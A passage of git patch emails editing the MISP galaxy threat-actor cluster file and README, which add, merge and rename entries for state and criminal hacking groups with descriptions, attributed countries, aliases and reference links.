Cobalt Strike Beacon and other features of the platform. Sharphound is deployed to map out the victim's Active Directory infrastructure and and collect critical information about the domain including important account names. Command and control infrastructure is hosted on subdomains of Azure and Appspot services to blend in with legitimate traffic. The threat actor also registers their own domains for command and control, often with a \"sync\" or \"update\" related theme. WinRAR is commonly used for compressing data prior to exfiltration. Filenames for these archives often involve a string of numbers and variations of the word \"update\". Data is exfiltrated using WATERCYCLE to cloud based platforms such as OneDrive and GoogleDrive.", + "meta": { + "cfr-suspected-victims": [ + "Taiwan" + ], + "cfr-target-category": [ + "Semiconductor Industry" + ], + "country": "CN", + "refs": [ + "https://www.secureworks.com/research/threat-profiles/bronze-vapor" + ] + }, + "uuid": "af12a336-bb68-41ff-866a-834cedc0b5fc", + "value": "BRONZE VAPOR" + }, + { + "description": "Check Point Research discovered a new campaign against the Mongolian public sector, which takes advantage of the current Coronavirus scare, in order to deliver a previously unknown malware implant to the target. \nA closer look at this campaign allowed us to tie it to other operations which were carried out by the same anonymous group, dating back to at least 2016. Over the years, these operations targeted different sectors in multiple countries, such as Ukraine, Russia, and Belarus.", + "meta": { + "cfr-suspected-victims": [ + "Belarus", + "Russia", + "Mongolia", + "Ukraine" + ], + "country": "CN", + "refs": [ + "https://securelist.com/microcin-is-here/97353", + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", + "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia", + "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign", + "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf" + ] + }, + "uuid": "68d8c25b-8595-4c20-a5c7-a11a2a34b717", + "value": "Vicious Panda" } ], "version": 233 From 932fcf1871c6a45451a2b93e6427a32579e21ec7 Mon Sep 17 00:00:00 2001 From: Rony Date: Wed, 20 Jul 2022 15:07:35 +0530 Subject: [PATCH 029/167] added Red Nue --- clusters/threat-actor.json | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index c984884..e986b7c 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9963,6 +9963,24 @@ }, "uuid": "68d8c25b-8595-4c20-a5c7-a11a2a34b717", "value": "Vicious Panda" + }, + { + "description": "Red Nue, active since at least 2017, is known for its use of the multi-platform LootRAt backdoor, also known as ReverseWindow. LootRAT has variants for Windows and Macintosh (reported in open source as Demsty), as well as an Android variant known as SpyDealer. Red Nue has also used another Windows backdoor known as WinDealer since at least 2019, when it deployed it to targets as part of a watering hole campaign on a Chinese news website for the Chinese diaspora community. Parts of Asia feature heavily in Red Nue's victimology.", + "meta": { + "country": "CN", + "refs": [ + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf", + "https://blogs.jpcert.or.jp/en/2021/10/windealer.html", + "https://securelist.com/windealer-dealing-on-the-side/105946", + "https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malware" + ], + "synonyms": [ + "LuoYu" + ] + }, + "uuid": "c73c8a76-1e44-44d6-b955-79f3a73582a1", + "value": "Red Nue" } ], "version": 233 From 5825783a8504ea082be02301e846a79d851f0e8e Mon Sep 17 00:00:00 2001 From: Daniel Plohmann Date: Wed, 20 Jul 2022 17:07:05 +0200 Subject: [PATCH 030/167] removed duplicate UUID for Kinsing my apologies, looks like I had not rolled a new UUID for one of the entries added... --- clusters/threat-actor.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 30db92e..50b3721 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9688,9 +9688,9 @@ "Money Libra" ] }, - "uuid": "4d522fad-452c-46be-94ea-5803aec9b709", + "uuid": "bc6f3b91-5a28-46df-9778-179218c809fe", "value": "Kinsing" } ], - "version": 233 + "version": 234 } From 2e045d9c8c7ca9f01677d6b0395a5b554a1817d3 Mon Sep 17 00:00:00 2001 From: Rony Date: Wed, 20 Jul 2022 21:28:15 +0530 Subject: [PATCH 031/167] chg: [fix] resolve conflict --- clusters/threat-actor.json | 37 ++++++++++++++++++++++++++++++++++++- 1 file changed, 36 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index e986b7c..edde14b 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9679,6 +9679,41 @@ "uuid": "e665ac2f-87b4-4c2e-bef7-78bf0a8af87b", "value": "Predatory Sparrow" }, + { + "description": "MSTIC has not found any notable associations between this observed activity, tracked as DEV-0586, and other known activity groups. MSTIC assesses that the malware (WhisperGate), which is designed to look like ransomware but lacking a ransom recovery mechanism, is intended to be destructive and designed to render targeted devices inoperable rather than to obtain a ransom.", + "meta": { + "cfr-suspected-victims": [ + "Ukraine" + ], + "cfr-type-of-incident": "Sabotage", + "refs": [ + "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://unit42.paloaltonetworks.com/atoms/ruinousursa/" + ], + "synonyms": [ + "Ruinous Ursa" + ] + }, + "uuid": "a5f64c1a-c829-4855-903d-e0ff2098b2d7", + "value": "DEV-0586" + }, + { + "description": "This group started operating during the first quarter of 2022. They published samples of alleged stolen data from companies on their site on Tor. It is unclear if they conducted the attacks themselves, or if they bought leaked databases from third parties.", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html", + "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", + "https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/", + "https://unit42.paloaltonetworks.com/atoms/moneylibra/" + ], + "synonyms": [ + "Money Libra" + ] + }, + "uuid": "4d522fad-452c-46be-94ea-5803aec9b709", + "value": "Kinsing" + }, { "description": "According to TrendMicro, Earth Berberoka is a threat group originating from China that mainly focuses on targeting gambling websites. This group's campaign uses multiple malware families that target the Windows, Linux, and macOS platforms that have been attributed to Chinese-speaking actors. Aside from using tried-and-tested malware families that have been upgraded, such as PlugX and Gh0st RAT, Earth Berberoka has also developed a brand-new complex, multistage malware family, which has been dubbed PuppetLoader.", "meta": { @@ -9983,5 +10018,5 @@ "value": "Red Nue" } ], - "version": 233 + "version": 234 } From 2b54df56f9c544072f48f1c9dd027c402d982066 Mon Sep 17 00:00:00 2001 From: Rony Date: Wed, 20 Jul 2022 21:32:11 +0530 Subject: [PATCH 032/167] update --- clusters/threat-actor.json | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index edde14b..e217a23 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -3563,13 +3563,15 @@ "https://www.phnompenhpost.com/national/kingdom-targeted-new-malware", "https://attack.mitre.org/groups/G0017/", "https://attack.mitre.org/groups/G0002/", - "https://www.secureworks.com/research/threat-profiles/bronze-overbrook" + "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", + "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/" ], "synonyms": [ "Moafee", "BRONZE OVERBROOK", "G0017", - "G0002" + "G0002", + "Shallow Taurus" ] }, "related": [ @@ -8617,12 +8619,14 @@ "https://pastebin.com/6EDgCKxd", "https://github.com/fireeye/sunburst_countermeasures", "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware", - "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html" + "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "https://unit42.paloaltonetworks.com/atoms/solarphoenix/" ], "synonyms": [ "DarkHalo", "StellarParticle", - "NOBELIUM" + "NOBELIUM", + "Solar Phoenix" ] }, "related": [ From aa81da6ea69903f6e784964e291500f6abd496fc Mon Sep 17 00:00:00 2001 From: Rony Date: Wed, 20 Jul 2022 21:34:28 +0530 Subject: [PATCH 033/167] update --- clusters/threat-actor.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index e217a23..cad14af 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -10022,5 +10022,5 @@ "value": "Red Nue" } ], - "version": 234 + "version": 233 } From add6b27466023477f5d335405282950b89ff8c3e Mon Sep 17 00:00:00 2001 From: Rony Date: Wed, 20 Jul 2022 21:39:33 +0530 Subject: [PATCH 034/167] update --- clusters/threat-actor.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index e217a23..cad14af 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -10022,5 +10022,5 @@ "value": "Red Nue" } ], - "version": 234 + "version": 233 } From 6b6398bf2db4eab7b90b964ec5b2b09677ac255e Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Wed, 20 Jul 2022 18:45:50 +0200 Subject: [PATCH 035/167] fix: [threat-actor] incorrect merge fixed --- clusters/threat-actor.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 4035998..8728466 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9715,7 +9715,7 @@ "Money Libra" ] }, - "uuid": "4d522fad-452c-46be-94ea-5803aec9b709", + "uuid": "bc6f3b91-5a28-46df-9778-179218c809fe", "value": "Kinsing" }, { @@ -10022,5 +10022,5 @@ "value": "Red Nue" } ], - "version": 235 + "version": 236 } From 8ce0df6eb4d4bd404f6570ff16d494f962ebdc90 Mon Sep 17 00:00:00 2001 From: Rony Date: Mon, 25 Jul 2022 17:15:23 +0530 Subject: [PATCH 036/167] Update threat-actor.json Merge aquatic panda & earth lusca --- clusters/threat-actor.json | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 8728466..9260d14 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9198,17 +9198,6 @@ "uuid": "f6d02ac3-3447-4892-b844-1ef31839e04f", "value": "SideCopy" }, - { - "description": "AQUATIC PANDA is a China-based targeted intrusion adversary with a dual mission of intelligence collection and industrial espionage. It has likely operated since at least May 2020. AQUATIC PANDA operations have primarily focused on entities in the telecommunications, technology and government sectors. AQUATIC PANDA relies heavily on Cobalt Strike, and its toolset includes the unique Cobalt Strike downloader tracked as FishMaster. AQUATIC PANDA has also been observed delivering njRAT payloads to targets.", - "meta": { - "country": "CN", - "refs": [ - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/" - ] - }, - "uuid": "676c1129-5664-4698-92ee-031f81baefce", - "value": "AQUATIC PANDA" - }, { "description": "Antlion is a Chinese state-backed advanced persistent threat (APT) group, who has been targeting financial institutions in Taiwan. This persistent campaign has lasted over the course of at least 18 months.", "meta": { @@ -9789,7 +9778,9 @@ "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi", "https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&v=beta&t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1GQAAydqGyq62KA3E", "https://www.sentinelone.com/wp-content/uploads/2021/08/SentinelOne_-SentinelLabs_ShadowPad_WP_V2.pdf", - "https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html" + "https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html", + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools, + "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass" ], "synonyms": [ "CHROMIUM", @@ -9797,6 +9788,7 @@ "TAG-22", "FISHMONGER", "BRONZE UNIVERSITY", + "AQUATIC PANDA", "Red Dev 10" ] }, From 5a7f3a72073f85b10974539b8428cf49ecb8c6f1 Mon Sep 17 00:00:00 2001 From: Rony Date: Mon, 25 Jul 2022 17:17:52 +0530 Subject: [PATCH 037/167] fix --- clusters/threat-actor.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 9260d14..e9d25bc 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9779,7 +9779,7 @@ "https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&v=beta&t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1GQAAydqGyq62KA3E", "https://www.sentinelone.com/wp-content/uploads/2021/08/SentinelOne_-SentinelLabs_ShadowPad_WP_V2.pdf", "https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html", - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools, + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools", "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass" ], "synonyms": [ From 26f6a33695604947e290885c1441cd4d258d0e5b Mon Sep 17 00:00:00 2001 From: Daniel Plohmann Date: Tue, 26 Jul 2022 11:09:33 +0200 Subject: [PATCH 038/167] more aliases from Unit 42 --- clusters/threat-actor.json | 47 +++++++++++++++++++++++++++++++++++--- 1 file changed, 44 insertions(+), 3 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 8728466..2551b0d 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -5850,7 +5850,8 @@ "https://securelist.com/cve-2016-4171-adobe-flash-zero-day-used-in-targeted-attacks/75082/", "https://securelist.com/operation-daybreak/75100/", "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", - "https://threatpost.com/scarcruft-apt-group-used-latest-flash-zero-day-in-two-dozen-attacks/118642/" + "https://threatpost.com/scarcruft-apt-group-used-latest-flash-zero-day-in-two-dozen-attacks/118642/", + "https://unit42.paloaltonetworks.com/atoms/moldypisces/" ], "synonyms": [ "APT 37", @@ -5866,7 +5867,8 @@ "ScarCruft", "Venus 121", "ATK4", - "G0067" + "G0067", + "Moldy Pisces" ] }, "related": [ @@ -10020,7 +10022,46 @@ }, "uuid": "c73c8a76-1e44-44d6-b955-79f3a73582a1", "value": "Red Nue" + }, + { + "description": "Prying Libra, also known as Pickaxe, is a threat actor active since at least August 2017, and continues to remain active to this day. The adversary's goal is to install and maintain a popular cryptocurrency miner on the victim's machine. The miner in question is an open-source tool named XMRig that generates the Monero cryptocurrency. Malware is delivered via downloads through the popular Adfly advertisement platform. Users are often mislead into clicking on a malicious advertisement that results in the payload being delivered to the victim. Once installed, the malware leverages VBS scripts and redirection services, such as bitly, to ultimately download and execute XMRig. Over 15 million confirmed victims have been discovered to be infected in recent campaigns, with actual numbers likely to be between 30-45 million victims. The victims are found across the globe, with high concentrations in Thailand, Vietnam, Egypt, Indonesia, and Turkey.", + "meta": { + "refs": [ + "https://unit42.paloaltonetworks.com/atoms/pryinglibra/" + ], + "synonyms": [ + "Prying Libra" + ] + }, + "uuid": "1bfd16ae-fd98-4a96-9397-d1651548bda2", + "value": "Pickaxe" + }, + { + "description": "Thief Libra is a cloud-focused threat group that has a history of cryptojacking operations as well as cloud service platform credential scraping. They were first known to operate on January 27, 2019. They use a variety of custom build Go Scripts as well as repurposed cryptojacking scripts from other groups including TeamTNT. They are currently considered to be an opportunistic threat group that targets exposed cloud instances and applications.", + "meta": { + "refs": [ + "https://unit42.paloaltonetworks.com/atoms/thieflibra/" + ], + "synonyms": [ + "Thief Libra" + ] + }, + "uuid": "4b4b4717-d31e-4be6-a3ba-b13edb42decd", + "value": "Watchdog" + }, + { + "description": "Returned Libra, also known as 8220 Mining Group, is a cloud threat actor group that has been active since at least 2017. Tools commonly employed during their operations are PwnRig or DBUsed which are customized variants of the XMRig Monero mining software. The Returned Libra mining group is believed to have originated from a GitHub fork of the Rocke group's software. Returned Libra has elevated its mining operations with the use of cloud service platform credential scrapping.", + "meta": { + "refs": [ + "https://unit42.paloaltonetworks.com/atoms/returnedlibra/" + ], + "synonyms": [ + "8220 Mining Group" + ] + }, + "uuid": "7831d56e-5913-44ca-8835-f42017aeb0cd", + "value": "Returned Libra" } ], - "version": 236 + "version": 237 } From acc6ada575e59774335ee6977866760ed5ace0c5 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Tue, 26 Jul 2022 23:23:57 -0700 Subject: [PATCH 039/167] r0ny123.review: Use Cutting Kitten as main value for ITSecTeam --- clusters/threat-actor.json | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 2926e03..bf0c65b 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -2135,7 +2135,6 @@ "Alibaba", "TG-2889", "Cobalt Gypsy", - "Cutting Kitten", "G0003" ] }, @@ -9582,19 +9581,13 @@ "refs": [ "https://www.cfr.org/interactive/cyber-operations/itsecteam", "https://www.justice.gov/usao-sdny/file/835061/download" + ], + "synonyms": [ + "ITsecTeam" ] }, - "related": [ - { - "dest-uuid": "86724806-7ec9-4a48-a0a7-ecbde3bf4810", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "linked-to" - } - ], "uuid": "7a3f505b-10e9-4177-a96f-d476b55fd3dd", - "value": "ITSecTeam" + "value": "CUTTING KITTEN" }, { "description": "Microsoft successfully detected and disabled attack activity abusing OneDrive by a previously undocumented Lebanon-based activity group Microsoft Threat Intelligence Center (MSTIC) tracks as POLONIUM.", From 51aacd6b03cb5cd6854d433480e559772a20ded5 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Tue, 26 Jul 2022 23:53:22 -0700 Subject: [PATCH 040/167] Reduce diff with old version --- clusters/threat-actor.json | 68 +++++++++++++++++++------------------- 1 file changed, 34 insertions(+), 34 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index bf0c65b..89c0611 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -1782,6 +1782,40 @@ "uuid": "ba724df5-9aa0-45ca-8e0e-7101c208ae48", "value": "Flying Kitten" }, + { + "description": "One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016.", + "meta": { + "attribution-confidence": "50", + "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)", + "cfr-suspected-victims": [ + "United States", + "Bank of America", + "US Bancorp", + "Fifth Third Bank", + "Citigroup", + "PNC", + "BB&T", + "Wells Fargo", + "Capital One", + "HSBC", + "AT&T", + "NYSE" + ], + "cfr-type-of-incident": [ + "Denial of service" + ], + "country": "IR", + "refs": [ + "https://www.cfr.org/interactive/cyber-operations/itsecteam", + "https://www.justice.gov/usao-sdny/file/835061/download" + ], + "synonyms": [ + "ITsecTeam" + ] + }, + "uuid": "11e17436-6ede-4733-8547-4ce0254ea19e", + "value": "Cutting Kitten" + }, { "description": "Charming Kitten (aka Parastoo, aka Newscaster) is an group with a suspected nexus to Iran that targets organizations involved in government, defense technology, military, and diplomacy sectors.", "meta": { @@ -9555,40 +9589,6 @@ "uuid": "091a0b69-74de-44b6-bb12-16b7a8fd078b", "value": "ToddyCat" }, - { - "description": "One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016.", - "meta": { - "attribution-confidence": "50", - "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)", - "cfr-suspected-victims": [ - "United States", - "Bank of America", - "US Bancorp", - "Fifth Third Bank", - "Citigroup", - "PNC", - "BB&T", - "Wells Fargo", - "Capital One", - "HSBC", - "AT&T", - "NYSE" - ], - "cfr-type-of-incident": [ - "Denial of service" - ], - "country": "IR", - "refs": [ - "https://www.cfr.org/interactive/cyber-operations/itsecteam", - "https://www.justice.gov/usao-sdny/file/835061/download" - ], - "synonyms": [ - "ITsecTeam" - ] - }, - "uuid": "7a3f505b-10e9-4177-a96f-d476b55fd3dd", - "value": "CUTTING KITTEN" - }, { "description": "Microsoft successfully detected and disabled attack activity abusing OneDrive by a previously undocumented Lebanon-based activity group Microsoft Threat Intelligence Center (MSTIC) tracks as POLONIUM.", "meta": { From 2330c1760250dd4b92623fab1b4f3ffa1523ec49 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Wed, 27 Jul 2022 23:29:37 +0200 Subject: [PATCH 041/167] chg: [doc] index updated --- README.md | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/README.md b/README.md index 2cc16a7..fe28087 100644 --- a/README.md +++ b/README.md @@ -23,7 +23,7 @@ to localized information (which is not shared) or additional information (that c [Android](https://www.misp-project.org/galaxy.html#_android) - Android malware galaxy based on multiple open sources. -Category: *tool* - source: *Open Sources* - total: *430* elements +Category: *tool* - source: *Open Sources* - total: *431* elements [[HTML](https://www.misp-project.org/galaxy.html#_android)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/android.json)] @@ -39,7 +39,7 @@ Category: *guidelines* - source: *Open Sources* - total: *31* elements [Backdoor](https://www.misp-project.org/galaxy.html#_backdoor) - A list of backdoor malware. -Category: *tool* - source: *Open Sources* - total: *11* elements +Category: *tool* - source: *Open Sources* - total: *12* elements [[HTML](https://www.misp-project.org/galaxy.html#_backdoor)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/backdoor.json)] @@ -63,7 +63,7 @@ Category: *mobile* - source: *https://arxiv.org/pdf/2005.05110.pdf* - total: *47 [Botnet](https://www.misp-project.org/galaxy.html#_botnet) - botnet galaxy -Category: *tool* - source: *MISP Project* - total: *71* elements +Category: *tool* - source: *MISP Project* - total: *73* elements [[HTML](https://www.misp-project.org/galaxy.html#_botnet)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/botnet.json)] @@ -111,7 +111,7 @@ Category: *country* - source: *MISP Project* - total: *252* elements [Cryptominers](https://www.misp-project.org/galaxy.html#_cryptominers) - A list of cryptominer and cryptojacker malware. -Category: *Cryptominers* - source: *Open Source Intelligence* - total: *2* elements +Category: *Cryptominers* - source: *Open Source Intelligence* - total: *4* elements [[HTML](https://www.misp-project.org/galaxy.html#_cryptominers)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/cryptominers.json)] @@ -135,7 +135,7 @@ Category: *tool* - source: *MISP Project* - total: *52* elements [Malpedia](https://www.misp-project.org/galaxy.html#_malpedia) - Malware galaxy cluster based on Malpedia. -Category: *tool* - source: *Malpedia* - total: *2194* elements +Category: *tool* - source: *Malpedia* - total: *2462* elements [[HTML](https://www.misp-project.org/galaxy.html#_malpedia)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/malpedia.json)] @@ -159,7 +159,7 @@ Category: *misinformation-pattern* - source: *https://github.com/misinfosecproje [Attack Pattern](https://www.misp-project.org/galaxy.html#_attack_pattern) - ATT&CK tactic -Category: *attack-pattern* - source: *https://github.com/mitre/cti* - total: *991* elements +Category: *attack-pattern* - source: *https://github.com/mitre/cti* - total: *1003* elements [[HTML](https://www.misp-project.org/galaxy.html#_attack_pattern)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/mitre-attack-pattern.json)] @@ -263,7 +263,7 @@ Category: *attack-pattern* - source: *https://collaborate.mitre.org/attackics/in [Intrusion Set](https://www.misp-project.org/galaxy.html#_intrusion_set) - Name of ATT&CK Group -Category: *actor* - source: *https://github.com/mitre/cti* - total: *134* elements +Category: *actor* - source: *https://github.com/mitre/cti* - total: *138* elements [[HTML](https://www.misp-project.org/galaxy.html#_intrusion_set)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/mitre-intrusion-set.json)] @@ -271,7 +271,7 @@ Category: *actor* - source: *https://github.com/mitre/cti* - total: *134* elemen [Malware](https://www.misp-project.org/galaxy.html#_malware) - Name of ATT&CK software -Category: *tool* - source: *https://github.com/mitre/cti* - total: *565* elements +Category: *tool* - source: *https://github.com/mitre/cti* - total: *598* elements [[HTML](https://www.misp-project.org/galaxy.html#_malware)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/mitre-malware.json)] @@ -335,7 +335,7 @@ Category: *actor* - source: *https://github.com/mitre/cti* - total: *7* elements [Tool](https://www.misp-project.org/galaxy.html#_tool) - Name of ATT&CK software -Category: *tool* - source: *https://github.com/mitre/cti* - total: *74* elements +Category: *tool* - source: *https://github.com/mitre/cti* - total: *80* elements [[HTML](https://www.misp-project.org/galaxy.html#_tool)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/mitre-tool.json)] @@ -359,7 +359,7 @@ Category: *measure* - source: *MISP Project* - total: *20* elements [Ransomware](https://www.misp-project.org/galaxy.html#_ransomware) - Ransomware galaxy based on https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml and http://pastebin.com/raw/GHgpWjar -Category: *tool* - source: *Various* - total: *1608* elements +Category: *tool* - source: *Various* - total: *1610* elements [[HTML](https://www.misp-project.org/galaxy.html#_ransomware)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/ransomware.json)] @@ -423,7 +423,7 @@ Category: *tool* - source: *Open Sources* - total: *6* elements [Surveillance Vendor](https://www.misp-project.org/galaxy.html#_surveillance_vendor) - List of vendors selling surveillance technologies including malware, interception devices or computer exploitation services. -Category: *actor* - source: *MISP Project* - total: *14* elements +Category: *actor* - source: *MISP Project* - total: *15* elements [[HTML](https://www.misp-project.org/galaxy.html#_surveillance_vendor)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/surveillance-vendor.json)] @@ -455,7 +455,7 @@ Category: *tea-matrix* - source: ** - total: *7* elements [Threat Actor](https://www.misp-project.org/galaxy.html#_threat_actor) - Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign. threat-actor-classification meta can be used to clarify the understanding of the threat-actor if also considered as operation, campaign or activity group. -Category: *actor* - source: *MISP Project* - total: *379* elements +Category: *actor* - source: *MISP Project* - total: *412* elements [[HTML](https://www.misp-project.org/galaxy.html#_threat_actor)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/threat-actor.json)] @@ -467,7 +467,6 @@ Category: *tool* - source: *MISP Project* - total: *533* elements [[HTML](https://www.misp-project.org/galaxy.html#_tool)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/tool.json)] - # Online documentation A [readable PDF overview of the MISP galaxy is available](https://www.misp.software/galaxy.pdf) or [HTML](https://www.misp.software/galaxy.html) and generated from the JSON. From bc20a463c866c2ea848fb490abcf743156edd0ff Mon Sep 17 00:00:00 2001 From: Daniel Plohmann Date: Tue, 2 Aug 2022 14:11:43 +0200 Subject: [PATCH 042/167] merging TG2003 / Elephant Beetle into FIN13 as indicated in the respective resources published by the organizations using these aliases. --- clusters/threat-actor.json | 24 +++++++++--------------- 1 file changed, 9 insertions(+), 15 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 954b385..2e63626 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9136,7 +9136,14 @@ "meta": { "country": "RU", "refs": [ - "https://www.mandiant.com/resources/fin13-cybercriminal-mexico" + "https://www.mandiant.com/resources/fin13-cybercriminal-mexico", + "https://blog.sygnia.co/elephant-beetle-an-organized-financial-theft-operation", + "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf", + "https://www.netwitness.com/wp-content/uploads/FIN13-Elephant-Beetle-NetWitness.pdf" + ], + "synonyms": [ + "TG2003", + "Elephant Beetle" ] }, "uuid": "60fa684d-c738-4b77-98fb-3f6605e2bb82", @@ -9485,19 +9492,6 @@ "uuid": "6cce6ecc-e6f5-4ae5-b8c5-cf633b7cf973", "value": "ModifiedElephant" }, - { - "description": "Financially motivated threat group targeting and infiltrating organizations from the finance and commerce sector in Latin America.", - "meta": { - "refs": [ - "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf" - ], - "synonyms": [ - "TG2003" - ] - }, - "uuid": "64930954-db40-4d97-8fc4-76079d239e15", - "value": "Elephant Beetle" - }, { "description": "EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol. In early September 2021, the group has been obeserved exploiting a 0day in Microsoft MSHTML (CVE-2021-40444). Investigation lead researchers to believe that they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) / WIZARD SPIDER (CrowdStrike). This threat actor deploys tactics, techniques and procedures (TTPs) that are traditionally associated with more targeted attacks, like spoofing companies and employees as a means of gaining trust of a targeted organization through email campaigns that are believed to be sent by real human operators using little-to-no automation. 